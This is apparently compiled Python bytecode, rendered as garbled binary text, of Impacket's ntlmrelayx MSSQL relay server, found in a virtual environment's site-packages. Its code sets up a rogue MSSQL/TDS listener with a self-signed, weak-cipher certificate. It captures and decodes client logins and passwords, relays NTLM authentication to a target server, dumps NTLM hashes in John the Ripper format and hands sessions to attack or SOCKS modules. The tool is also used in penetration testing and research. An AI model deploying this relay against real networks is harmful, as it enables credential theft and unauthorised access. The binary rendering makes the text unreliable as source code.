o
    àý°j.Z  ã                   @   sÔ   d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlZd dlZd dl	m
Z
 d dlmZmZmZ d dlmZmZ d dlmZ d dlmZ d dlmZ d dlmZ d d	lmZ d d
lmZ G dd„ de
ƒZdS )é    N)ÚThread)ÚntlmÚtdsÚLOG)ÚoutputToJohnFormatÚwriteJohnOutputToFile)Úparse_target)ÚSTATUS_SUCCESS)ÚNTLMAuthChallenge)ÚTargetsProcessor)ÚactiveConnections)Úget_addressc                   @   sD   e Zd ZG dd„ dejejƒZG dd„ dejƒZdd„ Z	dd„ Z
d	S )
ÚMSSQLRelayServerc                   @   s    e Zd Zdd„ Zedd„ ƒZdS )zMSSQLRelayServer.MSSQLServerc                 C   sP   || _ d| _t|d |d | j jƒ\| _}dtj_tj | ||¡ |  	¡ | _
d S )NTr   é   )ÚconfigÚdaemon_threadsr   Úipv6Úaddress_familyÚsocketserverÚ	TCPServerÚallow_reuse_addressÚ__init__Ú_create_ssl_contextÚssl_context)ÚselfÚserver_addressÚRequestHandlerClassr   © r   ú¨/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/servers/mssqlrelayserver.pyr   /   s   z%MSSQLRelayServer.MSSQLServer.__init__c               	   C   sx  ddl m}  ddlm} ddlm}m} ddlm} |j	ddd�}|  
|  |jd	¡g¡ }}tj tjj¡}|  ¡  |¡ |¡ | ¡ ¡ |  ¡ ¡ |¡ |tjd
d� ¡ || ¡ ¡}	|	 |jj¡}
| |jj|j j!| "¡ ¡}t# $t#j%¡}t#j&j'|_(| )d¡ | *dg¡ t+j,dddd��}| -|
| ¡ |j.}W d  ƒ n1 s£w   Y  z| /|¡ W t0 1|¡ |S t0 1|¡ w )zICreate an SSL context with a self-signed certificate for TDS 8.0 support.r   )Úx509)ÚNameOID)ÚhashesÚserialization)Úrsai  i   )Úpublic_exponentÚkey_sizeÚMSSQLSERVERim  )ÚdayszALL:@SECLEVEL=0ztds/8.0Úwbz.pemF)ÚmodeÚsuffixÚdeleteN)2Úcryptographyr   Úcryptography.x509.oidr    Úcryptography.hazmat.primitivesr!   r"   Ú)cryptography.hazmat.primitives.asymmetricr#   Úgenerate_private_keyÚNameÚNameAttributeÚCOMMON_NAMEÚdatetimeÚnowÚtimezoneÚutcÚCertificateBuilderÚsubject_nameÚissuer_nameÚ
public_keyÚserial_numberÚrandom_serial_numberÚnot_valid_beforeÚnot_valid_afterÚ	timedeltaÚsignÚSHA256Úpublic_bytesÚEncodingÚPEMÚprivate_bytesÚPrivateFormatÚTraditionalOpenSSLÚNoEncryptionÚsslÚ
SSLContextÚPROTOCOL_TLS_SERVERÚ
TLSVersionÚMINIMUM_SUPPORTEDÚminimum_versionÚset_ciphersÚset_alpn_protocolsÚtempfileÚNamedTemporaryFileÚwriteÚnameÚload_cert_chainÚosÚunlink)r   r    r!   r"   r#   ÚkeyÚsubjectÚissuerr5   ÚcertÚcert_pemÚkey_pemÚctxÚfÚtmpfiler   r   r   r   7   sJ   
ÿ

øý

þ
þz0MSSQLRelayServer.MSSQLServer._create_ssl_contextN)Ú__name__Ú
__module__Ú__qualname__r   Ústaticmethodr   r   r   r   r   ÚMSSQLServer-   s    rf   c                       sd   e Zd Z‡ fdd„Zdd„ Zdd„ Zdd„ Zd	d
„ Zdd„ Zdd„ Z	dd„ Z
dd„ Zdd„ Z‡  ZS )zMSSQLRelayServer.MSSQLHandlerc           
         sò   || _ d | _d | _d | _d | _d | _d| _| j jj ¡ | _| jd u r-t	 
d|d  ¡ d S t	 
d|d | jj| jjf ¡ |d | _d| jjv rW| jj d¡\}}t|ƒ| _n| jj}d| _t|ƒ\}}}}	|d u rld}|	| _tƒ  |||¡ d S )NFzI(MSSQL): Received connection from %s, but there are no more targets left!r   z>(MSSQL): Received connection from %s, attacking target %s://%sú:é™  Ú )ÚserverÚchallengeMessageÚtargetÚclientÚauthUserÚclient_addressÚ	tds8_moder   Ú	getTargetr   ÚinfoÚschemeÚnetlocÚsplitÚintÚtarget_portr   Ú
remoteNameÚsuperr   )
r   Úrequestro   rj   Útarget_stringÚportÚdomainÚusernameÚpasswordrx   ©Ú	__class__r   r   r   g   s.   
 
z&MSSQLRelayServer.MSSQLHandler.__init__c                 C   s`   | j j ¡ | jjjv r(| jjj| j j ¡  | jj| j dd�}| ¡ s&tdƒ‚|S td| j j ƒ‚)NT)ÚextendedSecurityzCould not initialize connectionz!Protocol Client for %s not found!)rl   rs   Úupperrj   r   ÚprotocolClientsÚinitConnectionÚ	Exception)r   rm   r   r   r   Úinit_client‰   s   &ÿz)MSSQLRelayServer.MSSQLHandler.init_clientc                 C   s   t dd„ t|ƒD ƒƒS )Nc                 s   s0   � | ]}|d A d@ d> |d A d@ d? B V  qdS )é¥   é   é   éð   Nr   )Ú.0Úxr   r   r   Ú	<genexpr>“   s   €. z@MSSQLRelayServer.MSSQLHandler.decryptPassword.<locals>.<genexpr>)ÚbytesÚ	bytearray)r   r   r   r   r   ÚdecryptPassword’   s   z-MSSQLRelayServer.MSSQLHandler.decryptPasswordc                 C   s
   | j d S )NÚ
TDSVersion)Úlogin)r   r   r   r   ÚgetLoginTDSVersion•   s   
z0MSSQLRelayServer.MSSQLHandler.getLoginTDSVersionc                 C   sX   d}t |ƒ|k r*| j |t |ƒ ¡}|s t |ƒdkrdS tdƒ‚||7 }t |ƒ|k s|S )Nó    r   z#Client closed connection mid-packet)Úlenrz   ÚrecvÚConnectionError)r   ÚsizeÚdataÚchunkr   r   r   Ú_recv_exact˜   s   úz)MSSQLRelayServer.MSSQLHandler._recv_exactc                 C   sÜ   |   d¡}|s	d S t |¡}|d d }|dkr|   |¡nd|d< |d }|tjkrl|   d¡}|s5tdƒ‚t |¡}|d d }|dkrI|   |¡nd|d< |d  |d 7  < |d  |d d 7  < |d }|tjks*|S )Né   ÚLengthr   r•   ÚDataÚStatusz$Client closed connection mid-message)rœ   r   Ú	TDSPacketÚTDS_STATUS_EOMr˜   )r   ÚheaderÚpacketÚdata_lenÚstatusÚnext_headerÚnext_packetÚnext_data_lenr   r   r   Ú_recv_tds_packet£   s(   




ÿ
óz.MSSQLRelayServer.MSSQLHandler._recv_tds_packetc                 C   s¢  t  ¡ }| jjjrt j}n|  ¡ }||d< | jj |¡ d dd„ t	dƒD ƒ¡ 
d¡|d< | jd |d< | jj 
d¡|d	< | jd |d
< t dd¡|d< | jjj|d< | jjjrmt d| jjj ¡ | jjj 
d¡|d< nt d| jd  d¡ ¡ d|d< t jt jB t jB |d< ||d< t| ¡ ƒ|d< | jj t j| ¡ ¡ | jjjs´| jjjd t j kr´d | jj_!| jj "¡ }|| jjj#d< t$ƒ }| %|d dd … ¡ |S )Nr’   ri   c                 S   s   g | ]}t  tj¡‘qS r   )ÚrandomÚchoiceÚstringÚascii_letters)rŒ   Ú_r   r   r   Ú
<listcomp>É   s    z?MSSQLRelayServer.MSSQLHandler.sendNegotiate.<locals>.<listcomp>r�   úutf-16leÚHostNameÚAppNameÚ
ServerNameÚ
CltIntNamer   i   Ú	ClientPIDÚ
PacketSizez$(MSSQL): Changing the database to %sÚDatabasezˆ(MSSQL): Removed the original database: %s, the database is empty now. Change the --mssql-db setting if you want to specify the databaseúutf-8r•   ÚOptionFlags2ÚSSPIrž   Ú
EncryptionÚNTLM_CHALLENGErŸ   é   )&r   Ú	TDS_LOGINrm   ÚsessionÚtds8ÚTDS_LOGIN7_VERSION_74r”   Ú_set_session_login7_tds_versionÚjoinÚrangeÚencoder“   rl   Úhostnamer«   ÚrandintÚ
packetSizerj   r   Údatabaser   rr   ÚdebugÚdecodeÚTDS_INIT_LANG_FATALÚTDS_ODBC_ONÚTDS_INTEGRATED_SECURITY_ONr–   ÚgetDataÚsendTDSÚ
TDS_LOGIN7ÚrespÚTDS_ENCRYPT_OFFÚ	tlsSocketÚrecvTDSÚsessionDatar
   Ú
fromString)r   ÚnegotiateMessager“   Úlogin_tds_versionÚtds_responseÚ	challenger   r   r   ÚsendNegotiate¾   s8   
"

z+MSSQLRelayServer.MSSQLHandler.sendNegotiatec                 C   s  |   ¡ }t |¡rt ¡ }t ¡ }nt ¡ }t ¡ }d d¡}d d¡}d}tj|d< d|d< d|d	< d
|d< ||d< t	|ƒd |d< ||d< t	|ƒd |d< ||d< t	|ƒd |d< d|d< tj
|d< d|d< d|d< d|d< t ¡ }tj|d< | ¡ | ¡  |d< | j | ¡ ¡ d S )NzLogin failed for user ''.r±   r&   r•   Ú	TokenTypeiH  ÚNumberr   ÚStateé   ÚClassÚMsgTexté   Ú
MsgTextLenr´   ÚServerNameLenÚProcNameÚProcNameLenÚ
LineNumberr    r   ÚCurCmdÚDoneRowCountÚTyperŸ   )r”   r   Ú login7_uses_72_plus_token_layoutÚTDS_INFO_ERROR72Ú
TDS_DONE72ÚTDS_INFO_ERRORÚTDS_DONErÆ   ÚTDS_ERROR_TOKENr–   ÚTDS_DONE_TOKENr¡   ÚTDS_TABULARrÐ   rz   Úsend)r   rÚ   ÚresponseDataÚdoneDataÚmsgrj   ÚprocÚresponsePacketr   r   r   ÚsendLoginFailedì   s:   






z-MSSQLRelayServer.MSSQLHandler.sendLoginFailedc              
   C   sÄ  �zÅ| j  dtj¡}|sW d S d| _|d dkrRt d| j ¡ d| _z| jj	j
| j dd�| _ W n tjyL } zt d| ¡ W Y d }~W d S d }~ww t d	¡ 	 |  ¡ }|d u r^W d S |d
 tjkr³t d¡ |  ¡ | _t d¡ t ¡ }d|d< | jr…tj|d< ntj|d< d|d< t dt dd¡¡|d< t ¡ }tj|d
< | ¡ |d< | j  | ¡ ¡ �n|d
 tjk�r³t d¡ t ¡ }|  |d ¡ t d¡ |d ràt d|d  !d¡ ¡ |d rðt d|d  !d¡ ¡ |d �rt d|d  !d¡ ¡ |d �rt d |d  !d¡ ¡ |d! �r#t d"|d!  !d¡ ¡ |d# �r4t d$|d#  !d¡ ¡ |d% �rO|  "|d% ¡}t #d&| !d¡ ¡ t #d'¡ || _$|d( �sht d)¡ t d*¡ |  %¡  W d S |d( }| j&j' (¡ d+k�rz| j)| j_)| j )|¡| _*t+ ,t-| j*ƒ¡}	t ¡ }
tj|
d
< tj.|
d,< d|
d-< t d.tj/t0|	ƒ¡|	 |
d< | j  |
 ¡ ¡ �n|d
 tj1k�r¾t d*¡ |  %¡  t2 3¡ }|  |d ¡ t d/¡ t4| j 5|d ¡v�r|d0 t2j6@ �rt d1| j&j'| j&j7|d2  !d3¡|d4  !d3¡f ¡ nÅt d1| j&j'| j&j7|d2  !d5¡|d4  !d5¡f ¡ n«| j 8¡  |d0 t2j6@ �rIt #d6|d2  !d3¡|d4  !d3¡| jd | j&j'| j&j7| jj9f ¡ n t #d6|d2  !d5¡|d4  !d5¡| jd | j&j'| j&j7| jj9f ¡ t:| j*d7 |d4 |d2 |d8 |d9 ƒ}|| jj;d:< | jj<j=du �r“t #d;|d<  ¡ | jj<j>d u�r¨t?|d< |d= | jj<j>ƒ | @¡ | _A| jj<j& B| j&d| jA¡ |  C¡  nt d>¡ W d S qS tD�yá } zt #d?| ¡ W Y d }~d S d }~ww )@Nr   Fr   é   z2(MSSQL): Detected TDS 8.0 (TLS) connection from %sT)Úserver_sidez!(MSSQL): TLS handshake failed: %sz((MSSQL): TDS 8.0 TLS handshake completedrì   z,(MSSQL): Receieved TDS pre-login from clientz9(MSSQL): Sending our own TDS pre-login response to clients    :  ÚVersionr¼   ó    ÚInstancez<Liÿÿ  ÚThreadIDrŸ   z+(MSSQL): Parsing the client's login requestz(MSSQL): Client login request:r²   z(MSSQL): Hostname    : %sr¹   r´   z(MSSQL): Server Name : %srµ   z(MSSQL): Client Name : %sr³   z(MSSQL): App Name    : %sr¸   z(MSSQL): Database    : %sÚUserNamez(MSSQL): Username    : %sÚPasswordz(MSSQL): Password    : %sz6(MSSQL): Password is not empty. Relay is not required.r»   z5(MSSQL): NTLMSSP_NEGOTIATE not found in login messagez5(MSSQL): Sending our own error response to the clientÚMSSQLr    ÚPacketIDz<BHz*(MSSQL): Relaying authentication to serverÚflagsz7(MSSQL): Authenticating against %s://%s as %s/%s FAILEDÚdomain_namer±   Ú	user_nameÚasciizM(MSSQL): Authenticating connection from %s/%s@%s against %s://%s SUCCEED [%s]rÜ   Úlanmanr   ÚJOHN_OUTPUTz	(RAW): %sÚhash_stringÚhash_versionz(MSSQL): Something went wrongz4(MSSQL): An error occurred during packet capture: %s)Erz   r—   ÚsocketÚMSG_PEEKrp   r   rË   ro   rj   r   Úwrap_socketrJ   ÚSSLErrorÚerrorrª   r   ÚTDS_PRE_LOGINr‡   rm   ÚTDS_PRELOGINÚTDS_ENCRYPT_STRICTÚTDS_ENCRYPT_NOT_SUPÚstructÚpackr«   rÈ   r¡   rô   rÐ   rõ   rÒ   r¿   rØ   rÌ   r‘   rr   r“   rû   rl   rs   rƒ   rÝ   rk   r�   ÚfromhexÚstrr¢   ÚTDS_SSPI_TOKENr–   ÚTDS_SSPIr   ÚNTLMAuthChallengeResponser	   ÚsendAuthÚNTLMSSP_NEGOTIATE_UNICODErt   ÚsetClientIdÚ	client_idr   r×   r   Ú
dumpHashesÚ
outputFiler   ÚgetUserStringrn   ÚregisterTargetÚ	do_attackr†   )r   Ú
first_byteÚer¤   ÚpreloginResponseDataÚpreloginResponseÚ	loginDatar   rÙ   rÜ   rÛ   ÚauthenticateMessageÚntlm_hash_datar   r   r   Úhandle  sö   ÿ€þ






















ý
ý

þ@
ýÿ


‚ €ÿz$MSSQLRelayServer.MSSQLHandler.handlec                 C   sÀ   | j jjr*| jj ¡ | j jjjv r*t 	| jj
| jj| jj ¡ | j| j| jjf¡ d S | jj ¡ | j jjv rS| j jj| jj ¡  | j j| jj| j| j| jƒ}| ¡  d S t d| jj ¡  ¡ d S )Nz$(MSSQL): No attack configured for %s)rj   r   ÚrunSocksrl   rs   rƒ   ÚsocksServerÚsupportedSchemesr   ÚputrÇ   rm   Ú
targetPortrn   r×   ÚattacksrÀ   Ústartr   r  )r   ÚclientThreadr   r   r   r&  §  s   "ÿ0z'MSSQLRelayServer.MSSQLHandler.do_attack)rb   rc   rd   r   r‡   r‘   r”   rœ   rª   rÝ   rû   r.  r&  Ú__classcell__r   r   r€   r   ÚMSSQLHandlere   s    "	.$ r8  c                 C   s    t  | ¡ d| _|| _d | _d S )NT)r   r   Údaemonr   rj   )r   r   r   r   r   r   ¸  s   

zMSSQLRelayServer.__init__c                 C   s~   | j jr	| j j}nd}t dt|ƒ ¡ |  | j j|f| j| j ¡| _z| j 	¡  W n	 t
y2   Y nw t d¡ | j ¡  d S )Nrh   z Setting up MSSQL Server on port zShutting down MSSQL Server)r   ÚlisteningPortr   rr   r  rf   ÚinterfaceIpr8  rj   Úserve_foreverÚKeyboardInterruptÚserver_close)r   Ú	mssqlportr   r   r   Úrun¾  s   
ÿ
zMSSQLRelayServer.runN)rb   rc   rd   r   ÚThreadingMixInr   rf   ÚBaseRequestHandlerr8  r   r@  r   r   r   r   r   +   s    8  Ur   )r   r«   r­   r  r  rJ   rW   rR   r4   Ú	threadingr   Úimpacketr   r   r   Úimpacket.smbserverr   r   Úimpacket.examples.utilsr   Úimpacket.nt_errorsr	   Úimpacket.ntlmr
   Ú/impacket.examples.ntlmrelayx.utils.targetsutilsr   Ú0impacket.examples.ntlmrelayx.servers.socksserverr   r   r   r   r   r   r   Ú<module>   s&   